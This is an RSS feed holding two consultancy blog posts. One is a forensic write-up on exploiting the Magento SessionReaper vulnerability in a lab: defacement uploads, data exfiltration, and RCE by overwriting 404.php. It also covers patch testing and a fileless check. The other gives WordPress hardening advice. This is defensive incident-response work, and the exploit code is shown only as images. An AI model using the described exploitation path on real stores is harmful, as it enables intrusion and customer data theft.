<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by INTfinity Consulting on Medium]]></title>
        <description><![CDATA[Stories by INTfinity Consulting on Medium]]></description>
        <link>https://medium.com/@INTfinitySG?source=rss-550edb52e7f7------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Yb03qIYcz9oTQOTM9-Vwow.png</url>
            <title>Stories by INTfinity Consulting on Medium</title>
            <link>https://medium.com/@INTfinitySG?source=rss-550edb52e7f7------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 02:12:42 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@INTfinitySG/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Analyzing SessionReaper (CVE-2025–54236): An Offensive-Informed DFIR Analysis]]></title>
            <link>https://medium.com/@INTfinitySG/analyzing-sessionreaper-cve-2025-54236-an-offensive-informed-dfir-analysis-8237fcfc8e03?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/8237fcfc8e03</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-research]]></category>
            <category><![CDATA[metasploit]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Fri, 03 Jul 2026 06:59:15 GMT</pubDate>
            <atom:updated>2026-07-03T06:59:15.786Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZkHt5ySDV7f4TEb6yNL9Lw.png" /><figcaption>Replicated e-shop/merchandise store</figcaption></figure><h3>Introduction: Vulnerability Research in Support of DFIR</h3><p>During a recent Digital Forensics and Incident Response (DFIR) investigation, a client’s Magento site was defaced. The immediate questions were: which vulnerability was exploited, and what was the extent of the breach?</p><p>Initial triage pointed to CVE-2025-54236 (SessionReaper), but we needed confirmation. To validate our hypothesis and understand what the attacker could have done beyond the visible defacement, we conducted our own Vulnerability Research (VR) and Penetration Testing (PT) alongside the investigation. This meant going beyond the two initial questions to define a more complete set of objectives:</p><ul><li>Confirm CVE-2025-54236 as the attack vector</li><li>Determine the full extent of potential compromise (beyond defacement)</li><li>Verify whether the client was properly patched post-incident</li><li>Develop a clean detection method that doesn’t leave artifacts</li></ul><p>With incomplete public Proof-of-Concepts (PoCs) and potentially malicious code circulating online, building our own exploit in a controlled environment was the only reliable path forward.</p><p>This article documents that process: confirming SessionReaper as the attack vector, replicating the defacement, achieving data leak and Remote Code Execution (RCE), validating patches, and developing fileless detection methods.</p><h3>The DFIR-VR Synergy: Why Build Our Own Exploit</h3><p>When <strong>VR supports DFIR</strong>, the goal is not complete understanding of the vulnerability, but a minimal PoC that answers specific investigative questions quickly and reliably.</p><p><strong>What VR provides for DFIR:</strong></p><ul><li>CVE confirmation through exploit replication</li><li>Environment validation (OS version, exploit paths)</li><li>Patch assessment in controlled conditions</li><li>Understanding attacker capabilities across multiple exploitation paths</li></ul><p><strong>Closing the Gaps: Why we built our own exploit</strong></p><p>SessionReaper presented multiple attack vectors, but the client’s WAF added a layer of complexity: it was unclear whether the attacker had been limited to defacement alone, or had bypassed the WAF to reach data exfiltration or RCE. The .txt file upload vulnerability was known to persist even after initial patches, and there was a documented data exfiltration path that did not require RCE at all.</p><p><strong>The questions we needed to answer:</strong></p><ul><li>Was the attack contained to .txt file defacement, or did it extend to data exfiltration or RCE?</li><li>Without the WAF protection (or if a bypass occurred), could RCE have been achieved?</li><li>What could the attacker do in this specific environment?</li></ul><p>Building our own exploit in a controlled lab lets us test each attack path independently and replicate the client’s environment constraints.</p><h3>Research Walkthrough: Navigating the Fog of War</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GRDyHaEW4HhSqHARmx16Sg.jpeg" /><figcaption>Fog of War — U.S. Army photo by Spc. Erikah Schaible</figcaption></figure><p>Before diving into exploitation, we first had to navigate the “Fog of War”: incomplete information, broken PoCs, and potentially malicious code. Public resources on SessionReaper were scattered, and we had no guarantee that any of them would work reliably in our environment.</p><p><strong>Initial CVE Identification</strong></p><p>The first clue came from the exploit path visible in the logs, and also the path of the defacement:</p><blockquote>https://domain[.]com/media/customer_address/p/r/proof.txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xmoVULQ3KdkwVWF_NE11OA.png" /><figcaption>Sample Defacement file to replicate the incident. Note the directory path follows the first 2 characters of the file, in this case ‘p’ then ‘r’.</figcaption></figure><p>This path pattern, combined with the fact that the target was an e-commerce shop, strongly suggested CVE-2025-54236 (SessionReaper), although we needed to confirm this before proceeding further.</p><p><strong>Reference Materials</strong></p><p>We identified two key blogs detailing SessionReaper, plus the NVD listing to confirm affected versions for our test environment:</p><ol><li><strong>Sansec’s </strong><a href="https://sansec.io/research/sessionreaper"><strong>research</strong> </a>— Core vulnerability mechanics and exploitation techniques</li><li><strong>Pentest-Tools </strong><a href="https://pentest-tools.com/blog/sessionreaper-cve-2025-54236-exploit"><strong>blog</strong> </a>— A data exfiltration method that did not require RCE</li><li><strong>NVD </strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-54236"><strong>listing</strong></a> — Confirmed affected versions: Adobe Commerce 2.4.9-alpha2, 2.4.8-p2, 2.4.7-p7, 2.4.6-p12, 2.4.5-p14, 2.4.4-p15 and earlier</li></ol><p>Both blogs offered valuable insights, but neither provided a complete, working exploit, and the public GitHub PoCs we found also appeared incomplete.</p><p>A different search term (“session reaper exploitdb” instead of generic CVE searches) turned up the Rapid7 Metasploit module — <strong><em>exploit/multi/http/magento_sessionreaper</em></strong>, which was available on the 2025.4 Kali installation. With our environment not yet ready, this became our most promising lead going into setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*et80x7_OHex1-dB1Si1GwA.png" /><figcaption><strong><em>METASPLOIT SEARCH MAGENTO — exploit/multi/http/magento_sessionreaper</em></strong></figcaption></figure><p><strong>Environment Setup: The First Major Challenge</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*GvFwpfbp4UqnAZLrctDzyQ.png" /></figure><p>Setting up a vulnerable Magento 2.4.9-alpha2 instance proved more difficult than the simple one-liner command suggested in the documentation. The Pentest-Tools blog recommended at least 6GB RAM; we started with 8GB on an Ubuntu VM and later increased it to 16GB, though we’re not certain that alone fixed our issues given the other changes we made.</p><p>We used the docker-magento setup from markshust’s repository as recommended, but ran into multiple issues.</p><p><strong>Key workarounds that made it work:</strong></p><ol><li><strong>Directory structure</strong> — Following the documented folder structure (~/Sites/magento) exactly was one of the steps that eventually worked, despite initially trying other directory locations</li><li><strong>Opensearch timeout</strong> — Per GitHub discussion #1343 (https://github.com/markshust/docker-magento/discussions/1343), the default healthcheck doesn’t give Opensearch enough time to start, causing it to be marked as unhealthy. We updated the healthcheck configuration in <strong>compose.healthcheck.yaml</strong>:</li></ol><pre>opensearch:<br>     healthcheck:<br>       test: &quot;curl --fail opensearch:9200/_cat/health &gt;/dev/null || exit 1&quot;<br>       interval: 5s<br>       timeout: 5s<br>       retries: 30</pre><p>3. <strong>Composer authentication</strong> — As noted in the Sansec blog, Magento requires authentication keys from Adobe’s repo. We obtained these from the Magento Marketplace (My Profile → Access Keys) and kept the JSON key in the composer directory (~/.composer/auth.json)</p><p>After a fair bit of trial and error, including completely removing the directory and attempting fresh reinstalls, the environment finally came up.</p><p><strong>Putting the Metasploit Module to the Test</strong></p><p>With the environment running, we turned to the Rapid7 Metasploit module as our first real test. It failed halfway through the file upload process, and ultimately we could not rely on it as-is.</p><p>Without digging into the source code of the PoC or the Metasploit module, we would not know exactly where the exploit was failing. This is a known pattern in the security community, where some GitHub and ExploitDB PoCs are deliberately broken slightly to prevent casual abuse.</p><p>We decided to build our own exploit from scratch.</p><p><strong>Why CURL?</strong></p><p>Rather than debug someone else’s broken code, we wrote our own exploit as a CURL-based script, giving us complete control and a clear understanding of each step in the attack chain.</p><p>More practically, CURL provided portability for potential on-site testing. We might not have access to our usual Kali VM, preferred tools, or even Python in a client environment. If we needed to test behind the client’s WAF directly, CURL would be available on virtually any system, making it the most reliable choice for field work.</p><h3>The Research Progression</h3><p><strong>Replicating the Defacement</strong></p><p>Our initial Minimum Viable Product (MVP) was straightforward: replicate the file upload that enabled defacement. If we could still upload .txt files to the <em>media/customer_address</em> path, the vulnerability existed.</p><p>We first attempted to use the Metasploit module, but quickly ran into problems. The module left randomly-named exploit files on the system and failed to spawn a RCE. It also lacked a dedicated .txt or file upload feature matching the actual incident, making it an all-or-nothing situation that did not fit our needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q7B1V2XCbMU6__0S7ZL28w.png" /><figcaption>Metasploit exploitation. Vulnerable but no session was created.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*bDhTh13h2yjQirQng0TlaA.png" /><figcaption>Metasploit artifacts left on the server</figcaption></figure><p>Because of these limitations, we built our own CURL-based exploit instead, step by step, giving us precise control over what files were uploaded and where. This let us cleanly replicate the .txt file upload we’d observed in the client’s environment, confirming the defacement vulnerability was present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTiLyK8Zz5frYfKhzXRjbQ.png" /><figcaption>CURL-based defacement script</figcaption></figure><p><strong>Data Exfiltration Testing</strong></p><p>Next, following the method documented in the Pentest-Tools blog, we tested whether customer data could be exfiltrated through the web browser without requiring RCE.</p><p>This might seem off-tangent from getting the RCE, but it mattered for the DFIR investigation specifically. Since VR was scoped to support DFIR, the goal was to understand the full attack surface, including whether customer data was lost, not just to achieve RCE. Replicating this path in our lab let us determine whether web-based data exfiltration occurred on the client’s system, something that might not surface clearly in OS or database logs alone. This gave the forensics team another angle to investigate beyond the visible defacement.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FUA0G_jlwMH0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DUA0G_jlwMH0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FUA0G_jlwMH0%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/23ddf84cb2c09cea1bb9a7049ef2d6a4/href">https://medium.com/media/23ddf84cb2c09cea1bb9a7049ef2d6a4/href</a></iframe><p><strong>The RCE Breakthrough</strong></p><p>After successfully achieving data exfiltration, one question remained. Re-reading the Sansec blog, we suspected RCE could be achieved by overwriting /pub/errors/404.php.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*eUotF0gRCXUe8GVviWUO8Q.png" /><figcaption>SANSEC 404.php RCE “Hint”</figcaption></figure><p>The challenge was that the Metasploit module attempted to upload randomly-named .php files. However, the server only executed a whitelisted set of PHP files. This meant we could not simply upload a new malicious .php file; we needed to <strong>overwrite an existing, whitelisted PHP file that the server would actually execute</strong>. The 404.php error handler became our target.</p><p>Additionally, the client’s WAF was also blocking other .php upload attempts, raising the question: could an attacker achieve full RCE by overwriting a whitelisted PHP file if the WAF weren’t in place, or were bypassed?</p><p><strong>Adapting Metasploit for RCE</strong></p><p>To test the RCE path, we adapted the Metasploit Ruby module into our own CURL script (with some help of AI 🤖). The key advantage was controlling the filename variable, allowing us to target the 404.php file specifically instead of uploading randomly-named .php files that would not execute.</p><p>This worked — we (over)wrote 404.php and achieved RCE in our lab. While not strictly necessary for DFIR validation, it is something every pentester aims to accomplish. More importantly, it confirmed the full extent of what an attacker could do: not only defacement or data exfiltration, but complete server compromise.</p><p>Because we had direct access to our lab server, we were also able to back up the original 404.php to 404.php.bak before testing which is a safeguard that will be discussed again later when we explore fileless detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*K1C-OZ0K4yrO_xP3Nv2Riw.png" /><figcaption>Snippet of RCE code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*vKzaPMTGxkMVCUMBvlnfvw.png" /><figcaption>RCE SCRIPT EXECUTION (PART 1)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjZgiYV-TH4vC0V7Q9unrA.png" /><figcaption>RCE SCRIPT EXECUTION (PART 2) — ID COMMAND ran successfully, basic RCE achieved</figcaption></figure><pre>&quot;Value&quot;:&quot;uid=1000(app) gid=1000(app) groups=1000(app)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUG-DGiP5i_Gn_phszIdwA.png" /><figcaption>RCE — Server side artifacts. 404.php (over)written and the session information displayed</figcaption></figure><h3>Functional Patch Assessment for DFIR Scoping</h3><p>In a standard pentest, proving RCE is possible and recommending patching is often sufficient. When VR and PT support DFIR, the objective shifts toward bounding the incident. We need to functionally assess the patch in our own lab to answer investigation-specific questions. Functional patch assessment goes beyond the IT admin role of “apply the patch, make sure no BSOD 🙃”.</p><p><strong>Why Patch Assessment Drives Investigation Scoping</strong></p><p>Evaluating the patch functionally serves critical needs beyond standard vulnerability confirmation:</p><ul><li><strong>Verify the patch works as expected</strong> — Observes exactly which attack vectors Adobe’s hotfix mitigates, without relying solely on vendor or third-party writeups</li><li><strong>Identify remaining exposure</strong> — Determine which attack vectors remain viable post-patch, and what additional controls full remediation requires</li><li><strong>Reconstruct the attack timeline</strong> — Understand how the observed compromise could occur in a patched or partially-patched environment</li></ul><p><strong>Patch Assessment Findings</strong></p><p>We applied <a href="https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397">Adobe’s hotfix patch</a> to our lab environment and tested the Magento site using our own PoC. Our testing showed:</p><ul><li><strong>The patch blocked session deserialization</strong> — As Sansec noted, Adobe only fixed the session deserialization bug that enabled RCE, not the underlying unrestricted file upload issue. PHP files can still be uploaded via <em>media/customer_address</em> as fake sessions, but they can no longer be deserialized to achieve code execution.</li><li><strong>Full remediation requires an additional control</strong> — Adobe’s patch addresses the session deserialization vulnerability enabling RCE, and the WAF provides an additional layer blocking .php uploads (defence-in-depth). However, the underlying unrestricted file upload issue remains unaddressed by the patch alone. To do so, the upload directory needs to be made non-writable which is a separate hardening step beyond Adobe’s hotfix (At the time of investigation, there was <a href="https://www.goivvy.com/blog/sessionreaper-magento2-protect">another blog</a> already covering this).</li></ul><p><strong>DFIR Implications</strong></p><p>Lab-based patch assessment was essential here. Testing directly against the client’s production environment directly was never viable. Our exploit script required significant customisation and testing before it worked reliably. Moreover, debugging against a live system would be impractical, and any RCE attempt would still need to bypass the client’s WAF (Unless we are given access to test from the intranet). Beyond the technical constraints, running exploit tests against a production server is simply not advisable.</p><p>By validating the patch in our lab, we could definitively establish what the patch does and does not fix, proving that .txt defacement could still occur even in a patched environment. More critically, our lab testing confirmed that the patch blocked RCE attempts. Combined with the WAF blocking .php uploads, we could conclusively determine that RCE was not achievable in the client’s environment and the attacker was limited to .txt file defacement.</p><h3>Engineering a Fileless Detection Method</h3><p>After replicating the full attack chain, defacement → data exfiltration → RCE, we turned our attention to a pentest best practice: detecting the vulnerability without leaving artifacts.</p><p>Our initial validation approach uploaded actual files to confirm exploitability. While effective for replicating the attack, this left filesystem artifacts that require cleanup by system administrators. For ongoing vulnerability scanning or client verification, we needed something cleaner.</p><p><strong>Why “Clean” RCE Wasn’t Possible</strong></p><p>We considered two options:</p><ol><li><strong>RCE with automated cleanup</strong> — Execute the full exploit but include file deletion in the payload</li><li><strong>Fileless detection via HTTP response analysis</strong> — Determine vulnerability status based on server responses without uploading files</li></ol><p>However, we quickly realized that option 1 was impossible given how the SessionReaper exploit works. Recall that we had backed up 404.php. The ideal flow would have been:</p><ol><li>Move 404.php → 404.php.bak (As a tester with system access)</li><li>Trigger exploit, (over)write 404.php with web shell/reverse shell</li><li>Clean up: delete malicious 404.php, move 404.php.bak back to 404.php</li></ol><p>The problem: <strong>the exploit itself is the write operation</strong>. SessionReaper’s deserialization vulnerability writes directly to the target file as part of the exploitation process. There’s no way to backup 404.php before the deserialization triggers, since the deserialization is what gives us code execution in the first place. We would end up overwriting the original without any ability to preserve it, making fileless detection the only viable option for clean vulnerability scanning.</p><p><strong>Implementing Fileless Detection</strong></p><p>The Metasploit module included a built-in check method that performed fileless vulnerability detection by analyzing HTTP responses to determine if a system was vulnerable without leaving any artifacts. We adapted this approach for our CURL-based detection script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IaqBgMMXsi5E4j9MoFXQCA.png" /><figcaption>Check — Metasploit (Left), CURL-based Script (Right); Target Server is Vulnerable</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gwnxogUYveizWXhrkZ7S-Q.png" /><figcaption>Check — Metasploit (Left), CURL-based Script (Right); Target Server is Not Vulnerable (To RCE*)</figcaption></figure><p>However, further testing revealed an important and non-obvious limitation. When the check method returns:</p><pre>The target is not exploitable. Target is patched (returns 400 Bad Request)</pre><p>This <strong>only means the system is not vulnerable to the deserialization-based RCE</strong>, not that the file upload vulnerability is fixed. We verified this manually: despite the “not exploitable” result, the .txt file upload still worked. The output is technically accurate, but the phrasing “target is not exploitable” could easily mislead analysts into thinking the system is fully safe when it isn’t.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfODklcbBoUIRO5TP12F-g.png" /><figcaption>Metasploit and our CURL-based checker both report as patched, but in actual fact, the Web Defacement can still happen</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7wAJrg6k_ABlQs9L5N4Iog.png" /><figcaption>Server-side validation that the Proof was written successfully</figcaption></figure><p><strong>DFIR Application</strong></p><p>This means the fileless detection method is scoped specifically to RCE risk. For a complete vulnerability assessment:</p><ul><li><strong>Fileless check</strong> — determines whether the system is vulnerable to deserialization-based RCE</li><li><strong>File upload test</strong> — the only way to confirm whether the unrestricted file upload (and therefore defacement risk) is present; this requires actually uploading a file and coordinating with the client to remove the artifact afterward, ideally in a staging environment</li></ul><p>For DFIR purposes where the primary concern is RCE, the fileless method remains a clean and practical option. Where defacement risk also needs to be assessed, a coordinated upload test with planned cleanup is the more complete approach.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZC_yzo6257dTeXkirSLZA.jpeg" /><figcaption>Diagram Summary of the Workflow</figcaption></figure><h3>Conclusion</h3><p>This investigation successfully answered our original DFIR objectives: we confirmed CVE-2025-54236 as the attack vector, understood the full scope of potential compromise beyond the visible defacement, assessed the functional effectiveness of Adobe’s patch in containing RCE, and developed detection methods that leave no file-based artifacts on disk (though web logs would still capture the requests).</p><p><strong>Key Takeaways</strong></p><p><strong>Environment setup takes longer than expected.</strong> Despite the “one-liner” installation in the documentation, getting a working vulnerable Magento environment running required significant trial-and-error troubleshooting. Budget extra time for environment setup as it is rarely as simple as the docs suggest.</p><p><strong>Custom exploit development serves DFIR needs differently than public PoCs.</strong> Public PoCs and Metasploit modules are built for a single purpose: achieving RCE. They don’t offer the granularity DFIR investigations need, like replicating a narrower file upload matching the actual defacement, or isolating one specific attack path from another. Building our own CURL-based exploit gave us control over exactly what the script did at each step, so we could answer specific investigative questions rather than just confirm exploitability.</p><p><strong>Forensic artifacts guide CVE identification.</strong> The exploit path pattern (<em>media/customer_address/p/r/proof.txt</em>) provided the initial hypothesis that pointed us toward SessionReaper. Starting from observable artifacts rather than blind CVE searching accelerated identification, though confirmation and replication still required deeper research.</p><p>This approach assumes a known CVE exists. If the artifacts don’t match any known vulnerability, the investigator may be looking at a 0-day instead. Then, the exploit and foothold would need reconstruction directly from logs rather than confirmation against existing research though the underlying skillset (environment setup, exploit replication) largely remains the same.</p><p><strong>Understanding what patches do and don’t fix is critical for DFIR.</strong> Adobe’s patch fixed the session deserialization bug enabling RCE, but left the underlying file upload vulnerability intact. This nuance explained why defacement remained possible post-patch, while our testing confirmed RCE was only achievable on an unpatched system without WAF protection. With lab validation, we could confidently reconstruct the attack timeline and scope the incident more accurately.</p><p>To conclude, this case demonstrated how Vulnerability Research and Penetration Testing, when properly scoped to support DFIR objectives, provide validation and context that forensic artifacts alone cannot deliver.</p><h4>Additional Note</h4><p>Github scripts will be open source at a subsequent date. Check back here for updates!</p><h4>About the Authors</h4><p><strong>Authored by: Hugo Chia</strong></p><p>Hugo is a Consultant at INTfinity Consulting, where he is interested in pentest and cyber research. He graduated from the National University of Singapore (NUS) with a background in computer science and cybersecurity. Hugo is passionate about making cyber more accessible, and has contributed to several community projects and was awarded The Cybersecurity Awards (Student Category) in 2020.</p><p><strong>Supported by: Moses Tay</strong></p><p>Moses, following in the investigative heritage of his Detective grandfather, works as a DFIR Consultant @ INTfinity Consulting. He holds the prestigious GIAC Security Expert (GSE) title as well as numerous forensics certifications. Blending field experience with a passion for education, Moses provides Cybersecurity training and consultancy, enabling companies to focus on their core business operations.</p><p><strong>Other contributors: Benjamin Tan, Tan Zheng Xin</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8237fcfc8e03" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Securing Your CMS from a DFIR Perspective]]></title>
            <link>https://medium.com/@INTfinitySG/securing-your-cms-from-a-dfir-perspective-5d5a3c1b3aef?source=rss-550edb52e7f7------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d5a3c1b3aef</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[sans-institute]]></category>
            <category><![CDATA[cms]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[INTfinity Consulting]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 08:32:48 GMT</pubDate>
            <atom:updated>2025-10-08T08:32:48.765Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*30FfGodpdsUZkBZMF0Gn3A.jpeg" /></figure><h3>Introduction</h3><p>This article accompanies the SANS Community Night Talk “<strong>A DFIRerent View of Web CMS Breaches</strong>”, presented on 8th October 2025 by our CEO, Benjamin Tan. Prepared by Benjamin Tan and Moses Tay, it delves into security recommendations stemming from actual Web Content Management System (CMS) Digital Forensics and Incident Response (DFIR) cases.</p><p>The included recommendations and insights are real “DFIRerence makers” for defence and incident response. The presence or absence of these difference makers contributed significantly to our clients’ return to normal operations.</p><p>We hope that anyone securing a CMS can leverage this list of “quick wins”. Though WordPress is used as the example here, the same rationale applies to other CMSes such as Joomla and Drupal. Each recommendation is rated by ease of implementation. We believe that securing a CMS is not hard, it is deliberate.</p><h4>Difficulty Rating Scale:</h4><ul><li>Easy (Less than an hour)</li><li>Medium (One to three hours)</li><li>Hard (More than three hours)</li></ul><h3>The DFIRerence Makers</h3><h4>Configure Regular Web Backups (Easy to Medium)</h4><p>One of the best ways to protect your website is to configure proper backups. Backups should cover a wide range of time. For example, backups could be taken weekly with the following retention:</p><ul><li>All backups from the past month.</li><li>One backup from 3 months ago.</li><li>One backup from 6 months ago.</li></ul><p>Backups serve a twofold purpose. Firstly, they provide an additional source of evidence for investigations. By taking backups across a wide time period, we preserve evidence going further back. Secondly, proper backups reduce the impact of compromises. Restoring from a “known good” backup may hasten the return to normal operations.</p><p>In the event of a compromise, do remember to take a backup of the website in its compromised state. Without this backup, it can be very difficult to identify attacker’s activities, especially if a clean backup has been restored over it. Preserving compromise evidence is essential for incident response.</p><p>The nightmare situation of a compromise might be reduced significantly with proper backups. In several instances, clients have restored from a clean backup taken a few months prior, returning to normal operations while the investigation proceeded concurrently.</p><p><em>Difficulty Rating:</em></p><ul><li>Easy: Set up automated backups and retention.</li><li>Medium: Routinely validating backups. <a href="https://localwp.com/">LocalWP</a> can be used to test backups locally from WordPress backup zip files.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fv9UX01rEW47q7AbdPOegg.png" /><figcaption>Validating backups using LocalWP</figcaption></figure><h4>Prepare a Maintenance Page (Easy)</h4><p>During a recent compromise that INTfinity responded to, the attackers set up a watering hole attack. The attack exploited the trust users had for the victim’s website, presenting a fake Cloudlare popup prompting visitors to run malware on their endpoints. Protecting their users while avoiding mass panic, a maintenance page was put up. Unable to browse past the page, members of the public would not be exposed to the malware inserted on the website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BdFfP9YKfh5R9wF19Sxahw.png" /><figcaption>Malicious Cloudflare popup</figcaption></figure><p><em>Difficulty Rating:</em></p><ul><li>Easy: Create a simple maintenance page.</li><li>Easy: Put up the maintenance page in the event of a compromise.</li></ul><h4>Automatically Update WordPress Plugins/Themes (Easy)</h4><p>Plugins and themes, which WordPress is well known for, extend the functionality of webpages. Researchers constantly discover plugin/theme vulnerabilities and authors push updates to remediate them. By keeping plugins and themes up to date, you patch vulnerabilities that could otherwise be used to exploit your site.</p><p>Automation is a great asset to defenders. However, as an old Russian proverb advises, “Trust, but Verify”. Build in routine checks, e.g. monthly or quarterly, to ensure that the plugins and themes are actually updated as intended.</p><p><em>Difficult Rating:</em></p><ul><li>Easy: Enable automatic plugin/theme updates.</li><li>Easy: Routinely check that plugins/themes are all up to date.</li></ul><h4>Configure and Collect Web Access Logs (Easy)</h4><p>Web access logs contain a wealth of information that aids incident response. Make sure that access logs are available. If web access logs are only available for a fixed period, e.g. one month, we recommend downloading and preserving them. Automating this process would be a useful next step. Web access logs are great for determining baselines during investigations.</p><p>Note: If you are using a shared hosting provider, you may not be able to get web access logs.</p><p><em>Difficulty Rating:</em></p><ul><li>Easy: Collect and store web access logs.</li><li>Easy: Open the log files and ensure they are not empty.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*5rm4cyXD8febfwVTuAIM3Q.png" /><figcaption>Empty/missing logs, a sub-optimal situation</figcaption></figure><h4>Disable XML-RPC (Easy)</h4><p>During a previous investigation, web access logs revealed brute forcing by targeting xmlrpc.php. XML-RPC facilitated publishing content on WordPress in its early days. In 2015, WordPress introduced a new mechanism, effectively replacing XML-RPC. However, if XML-RPC is not disabled, attackers can abuse to test WordPress credentials. We highly recommend disabling XML-RPC to remove this brute forcing vector.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dx-d_M1ZYVv-Eico6wTIpw.png" /><figcaption>Web access logs revealed xmlrpc.php brute forcing</figcaption></figure><p><em>Difficulty Rating:</em></p><ul><li>Easy: Disable XML-RPC if not used.</li></ul><h4>Configure 2FA for CMS Logins (Easy)</h4><p>Cybersecurity professionals have long advocated for the use of Two-Factor Authentication (2FA). However, the majority of Small and Medium Enterprises (SMEs) have still not adopted 2FA for accounts. Statistics from Google indicates that this one change alone reduces the effectiveness of bulk phishing attacks by 96%. With such a drastic improvement in security, it’s time enable 2FA for your CMS.</p><p><em>Difficulty Rating:</em></p><ul><li>Easy: Enable 2FA for all accounts on the CMS</li></ul><h4>Enable Security Plugins (Easy)</h4><p>Of course security focused plugins are available for WordPress. Though the plugins usually have premium options, the basic, free versions help to provide good security functionality. It literally costs nothing to enable them.</p><p>Two useful plugins are WP Activity Log and Wordfence. WP Activity Log adds more granular logging to account logons and user activities. Not only does this assist with regular troubleshooting, but it also allows investigators to narrow down the time of compromise and identify compromised accounts. Wordfence routinely scans your pages for malicious code insertions. This can serve as a detective capability to trigger incident response. These two plugins are a great addition to your arsenal.</p><p><em>Difficulty Rating:</em></p><ul><li>Easy: Install the <a href="https://wordpress.org/plugins/wp-security-audit-log/">WP Activity Log plugin</a>.</li><li>Easy: Install the <a href="https://wordpress.org/plugins/wordfence/">Wordfence plugin</a>.</li></ul><h4>Scan Using Free Tools (Easy)</h4><p>Scanning your website routinely with free tools is a great way to bolster detection of compromises on your own. In fact, one of the DFIR cases INTfinity responded to started when a client discovered that their website had been breached using <a href="https://sitecheck.sucuri.net/">Sucuri’s free scanner</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-yWDKiglBPk11-df1beWiQ.png" /><figcaption>Sucuri’s free scanner</figcaption></figure><p><em>Difficulty Rating:</em></p><ul><li>Easy: Scan your website using free online tools.</li></ul><h4>Incident Response Planning (Medium to Hard)</h4><p>If your CMS was breached today, what are the steps that you will take? That is the essence of preparing for incident response.</p><p>Some useful considerations:</p><ul><li>How/What evidence should be collected and preserved for the investigation?</li><li>Who should you contact for Incident Response? This could be internal or external party.</li><li>Who will analyse the collected evidence?</li><li>How frequently do you need to update management?</li><li>Are there regulatory bodies that must be updated?</li><li>What steps will be taken to protect people who browse to your website?</li><li>What needs to be done, and who is responsible for returning the company to normal business operations?</li></ul><p>Incident response planning does not need to be complex. Sometimes all you need is a simple flowchart and everyone’s buy in. A compromise should not be the first time these questions are considered.</p><p><em>Difficulty Rating:</em></p><ul><li>Medium to Hard: Develop an incident response plan for your CMS.</li></ul><h3>Conclusion</h3><p>The steps taken to secure your CMS are not difficult, they are deliberate. We hope that the measures covered in this article will be difference makers for your cybersecurity.</p><h3>About the Authors</h3><p>Benjamin has more than 15 years of cybersecurity experience, including heading the Cybersecurity Operations Centre and the Cyber Incident Response Teams in the Ministry of Defence. At INTfinity, he ensures that clients’ cybersecurity projects run flawlessly, and that 